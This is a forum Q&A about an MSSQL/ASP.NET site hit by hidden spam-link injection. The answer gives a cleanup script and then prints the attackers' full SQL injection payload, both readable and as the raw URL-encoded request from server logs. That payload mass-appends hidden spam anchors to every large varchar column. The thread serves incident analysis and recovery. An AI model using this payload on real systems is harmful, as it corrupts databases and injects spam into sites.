MSSQL Server injected with hidden spam links, any ultimate solution?

Question

I'm using MSSQL Server 2012. The websites connected to this database is developed by ASP.NET C# 2012. Recently my database been hacked or injected by spam links, and they all start the same

<div style="display:none"> .....

with some help I made a function that cleans the updated fields, but the problem is after few days the same thing happened again!

I can keep cleaning the database, but I'm trying to find an ultimate solution to prevent this from happening for good.. any ideas?

• Note: I noticed most columns updated are text fields "nvarchar".

Answer 1

In my case, it was an SQL injection through non-validated URL request parameters, too.

Let's start with the obvious:

Interestingly enough (read: stupid enough), I had configured the same SQL Server user for several databases, resulting in not only the database of the vulnerable ASP.NET application was compromised but also other databases of non-vulnerable ASP.NET applications on the same server.

Cleanup

Here is a small SQL script that searches through all tables of one database and outputs an SQL query to cleanup the tables in question:

DECLARE
    @search_string  VARCHAR(100),
    @table_name     SYSNAME,
    @table_id       INT,
    @column_name    SYSNAME,
    @sql_string     VARCHAR(2000)

SET @search_string = 'display:none' -- The spammy text to search for.

DECLARE tables_cur CURSOR FOR SELECT name, object_id FROM sys.objects WHERE type = 'U'

OPEN tables_cur

FETCH NEXT FROM tables_cur INTO @table_name, @table_id

WHILE (@@FETCH_STATUS = 0)
BEGIN
    DECLARE columns_cur CURSOR FOR SELECT name FROM sys.columns WHERE object_id = @table_id AND system_type_id IN (167, 175, 231, 239)

    OPEN columns_cur

    FETCH NEXT FROM columns_cur INTO @column_name
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        SET @sql_string = 'IF EXISTS (SELECT * FROM [' + @table_name + '] WHERE [' + @column_name + '] LIKE ''%' + @search_string + '%'') PRINT '' update [' + @table_name + '] set [' + @column_name + '] = substring([' + @column_name + '], 1, charindex(''''<'''', [' + @column_name + '])-1) where [' + @column_name + '] like ''''%<%'''''''
        --PRINT @sql_string
        EXECUTE(@sql_string)

        FETCH NEXT FROM columns_cur INTO @column_name
    END

    CLOSE columns_cur

    DEALLOCATE columns_cur

    FETCH NEXT FROM tables_cur INTO @table_name, @table_id
END

CLOSE tables_cur

DEALLOCATE tables_cur

This prints nothing for non-compromised databases and something like:

update [MyTable1] set [MyColumn] = substring([MyColumn], 1, charindex('<', [MyColumn])-1) where [MyColumn] like '%<%'
update [MyTable2] set [MyColumn] = substring([MyColumn], 1, charindex('<', [MyColumn])-1) where [MyColumn] like '%<%'
update [MyTable3] set [MyColumn] = substring([MyColumn], 1, charindex('<', [MyColumn])-1) where [MyColumn] like '%<%'
update [MyTable4] set [MyColumn] = substring([MyColumn], 1, charindex('<', [MyColumn])-1) where [MyColumn] like '%<%'

You can execute the generated SQLs after that.

Please note that it strips everything right from the very first <. This might not be appropriate for certain columns the intentionally contain Markup/HTML/XML.

So let's finish with the other obvious thing:

Injected SQL

Just for the records or if anyone is ever interested, here is the extracted effective SQL being used by the spammers:

declare @c cursor;
declare @d varchar(4000);

set @c=cursor for select 'update ['+TABLE_NAME+
    '] set ['+COLUMN_NAME+']=['+COLUMN_NAME+
    ']+case ABS(CHECKSUM(NewId()))%7 when 0 then ''''
    +char(60)+''div style="display:none"''+char(62)+
    ''go ''+char(60)+''a href="http:''+char(47)+char(47)+
    ''blog.armanda.com''+ char(47)+''page''+char(47)+
    ''women-who-cheat-with-
    married-men.aspx"''+char(62)+case ABS(CHECKSUM(
    NewId()))%3 when 0 then ''why do husbands cheat'' 
    when 1 then ''reasons why husband cheat'' else 
    ''want my wife to cheat'' end +char(60)+char(47)+
    ''a''+char(62)+'' My wife cheated on me''+
    char(60)+char(47)+''div''+char(62)+'''' else '''' 
    end' FROM sysindexes AS i INNER JOIN sysobjects AS 
    o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS 
    ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and 
    DATA_TYPE like '%varchar' and(CHARACTER_MAXIMUM_LENGTH=-1 
    or CHARACTER_MAXIMUM_LENGTH=2147483647);

open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0 
begin 
    exec (@d);
    fetch next from @c into @d;
end;
close @c

I've inserted line breaks to enhance readability.

The raw URL, directly from the server logs, reads as following:

/es/details.aspx,lid=15';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''go%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''blog.armanda.com''%2Bchar(47)%2B''page''%2Bchar(47)%2B''women-who-cheat-with-married-men.aspx%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''why%20do%20husbands%20cheat''%20when%201%20then%20''reasons%20why%20husband%20cheat''%20else%20''want%20my%20wife%20to%20cheat''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20My%20wife%20cheated%20on%20me''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--